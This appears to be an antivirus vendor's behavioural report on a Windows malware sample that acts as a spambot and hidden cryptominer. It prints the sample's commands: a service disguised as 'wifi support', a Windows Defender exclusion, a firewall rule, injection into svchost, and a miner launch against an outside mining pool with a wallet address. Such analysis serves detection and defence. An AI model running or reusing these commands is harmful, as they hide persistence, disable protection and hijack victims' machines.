Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\vatdydh] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\vatdydh] 'ImagePath' = '%WINDIR%\SysWOW64\vatdydh\ktnskjea.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\vatdydh] 'ImagePath' = '%WINDIR%\SysWOW64\vatdydh\ktnskjea.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\vatdydh' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\ktnskjea.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\ktnskjea.exe to %WINDIR%\syswow64\vatdydh\ktnskjea.exe
Deletes itself.
Network activity
Connects to
- 'et###.#ail.tiscali.it':25
TCP
HTTP GET requests
- http://www.google.com/
HTTP POST requests
- http://wo##.###oster.info:25000/ via wo##.#-poster.info
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK su####suspense.com
- DNS ASK mx.##deotron.ca
- DNS ASK vi###tron.ca
- DNS ASK mx.####rityfocus.com
- DNS ASK se####tyfocus.com
- DNS ASK mx##.#indstream.net
- DNS ASK de##zzd.com
- DNS ASK ne#####.##m.mx1.netdoor.rcimx.net
- DNS ASK ne##oor.com
- DNS ASK ba##one.com
- DNS ASK wh###edass.com
- DNS ASK lo####-world.com
- DNS ASK wp####.#om.s7a1.psmtp.com
- DNS ASK wp##v.com
- DNS ASK mx####.concentric.com
- DNS ASK ve#####nnovation.com
- DNS ASK us.#bm.com
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK th####ticvoid.org
- DNS ASK mx##.##ndenserver.de
- DNS ASK th###arspawn.de
- DNS ASK th###ar.com.my
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK ya##o.co.in
- DNS ASK mx.##draspa.it
- DNS ASK fr###hal.com
- DNS ASK go####achinc.com
- DNS ASK de##ees.com
- DNS ASK di###way.com
- DNS ASK ge###rvices.com
- DNS ASK sn#####30.flyasiana.com
- DNS ASK fl###iana.com
- DNS ASK wo##.#-poster.info
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK mo##x.com
- DNS ASK sm##.tin.it
- DNS ASK mx.#a.com
- DNS ASK ya.com
- DNS ASK wh###pool.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK ai###llianz.com
- DNS ASK ve##zon.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK sm###in.iol.it
- DNS ASK io#.it
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK ms#.#inet.net
- DNS ASK mx#.##rthlink.net
- DNS ASK ea###link.net
- DNS ASK mx.##nafos.com
- DNS ASK ha##net.net
- DNS ASK wa###to.ac.nz
- DNS ASK cl######.us.messagelabs.com
- DNS ASK bo####sgroupinc.com
- DNS ASK a3#####03.direcpc.com
- DNS ASK mx#######502.gslb.pphosted.com
- DNS ASK si##aspa.it
- DNS ASK hk####2.hknet.com
- DNS ASK hk##t.com
- DNS ASK ya###.com.au
- DNS ASK pp####.uhreg.mil.se
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ya##o.es
- DNS ASK ti###linet.it
- DNS ASK mx.#im.it
- DNS ASK ti#.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ti##ali.it
- DNS ASK mx.##enet.gr
- DNS ASK ot##et.gr
- DNS ASK pl###.fl-net.se
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK sm#.af.se
- DNS ASK mi####.bittubeapp.com
- DNS ASK el####oprocess.se
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK he#.#assagen.se
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ti##ali.se
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ya##o.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK li##ro.it
- DNS ASK sm####n.libero.it
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK th####mpinpost.com
- DNS ASK mx.##oeuro.com
- DNS ASK th##sen.dk
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK wi###wslive.com
- DNS ASK mx#.##cinternet.net
- DNS ASK ho####s-silken.com
- DNS ASK ma##.#wisscom.com
- DNS ASK sw###com.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK google.com
- DNS ASK in.#bm.com
- DNS ASK mx#######001.gslb.pphosted.com
- DNS ASK st.com
- DNS ASK re####e.veneto.it
- DNS ASK aspmx.l.google.com
- DNS ASK gt###avel.com
- DNS ASK mx.##ra.co.nz
- DNS ASK xt##.co.nz
- DNS ASK ya##o.co.uk
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ho##ail.fr
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK ms#.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK go##le.nl
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\vatdydh\ktnskjea.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vatdydh\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ktnskjea.exe" %WINDIR%\SysWOW64\vatdydh\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create vatdydh binPath= "%WINDIR%\SysWOW64\vatdydh\ktnskjea.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description vatdydh "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start vatdydh' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vatdydh\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ktnskjea.exe" %WINDIR%\SysWOW64\vatdydh\
- '%WINDIR%\syswow64\sc.exe' create vatdydh binPath= "%WINDIR%\SysWOW64\vatdydh\ktnskjea.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description vatdydh "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start vatdydh
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k
